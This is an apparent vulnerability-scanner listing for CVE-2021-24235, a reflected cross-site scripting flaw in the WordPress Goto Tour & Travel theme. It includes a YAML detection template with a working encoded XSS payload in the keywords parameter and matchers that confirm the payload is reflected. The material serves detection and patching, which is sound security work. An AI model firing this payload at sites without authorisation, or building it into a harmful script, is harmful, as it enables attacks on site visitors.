CVE-2021-24235: WordPress Goto Tour & Travel Theme <2.0 - Cross-Site Scripting

2025-08-01 WordPress Goto Tour & Travel Theme PoC Public

Description

WordPress Goto Tour & Travel theme before 2.0 contains an unauthenticated reflected cross-site scripting vulnerability. It does not sanitize the keywords and start_date GET parameters on its Tour List page.

PoC

id: CVE-2021-24235

info:
  name: WordPress Goto Tour & Travel Theme <2.0 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: WordPress Goto Tour & Travel theme before 2.0 contains an unauthenticated reflected cross-site scripting vulnerability. It does not sanitize the keywords and start_date GET parameters on its Tour List page.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the website, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Update to the latest version of the WordPress Goto Tour & Travel Theme (>=2.0) to mitigate the XSS vulnerability.
  reference:
    - https://wpscan.com/vulnerability/eece90aa-582b-4c49-8b7c-14027f9df139
    - https://m0ze.ru/vulnerability/[2021-02-10]-[WordPress]-[CWE-79]-Goto-WordPress-Theme-v1.9.txt
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24235
    - https://m0ze.ru/vulnerability/%5B2021-02-10%5D-%5BWordPress%5D-%5BCWE-79%5D-Goto-WordPress-Theme-v1.9.txt
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24235
    cwe-id: CWE-79
    epss-score: 0.02927
    epss-percentile: 0.86373
    cpe: cpe:2.3:a:boostifythemes:goto:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: boostifythemes
    product: goto
    framework: wordpress
  tags: cve2021,cve,xss,wp-theme,wpscan,wordpress,boostifythemes,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/tour-list/?keywords=%3Cinput%2FAutofocus%2F%250D*%2FOnfocus%3Dalert%28123%29%3B%3E&start_date=xxxxxxxxxxxx&avaibility=13'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "input/Autofocus/%0D*/Onfocus=alert(123);"
          - "goto-tour-list-js-extra"
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100a1609012429e857a07fce97dc2c372d0b98a109fa88290be440817a20ed2d16a022100b1d22bcd897347c58bbdc7a0b7b78534dc54877ae957d4deead983102d104583:922c64590222798bb761d5b6d8e72950

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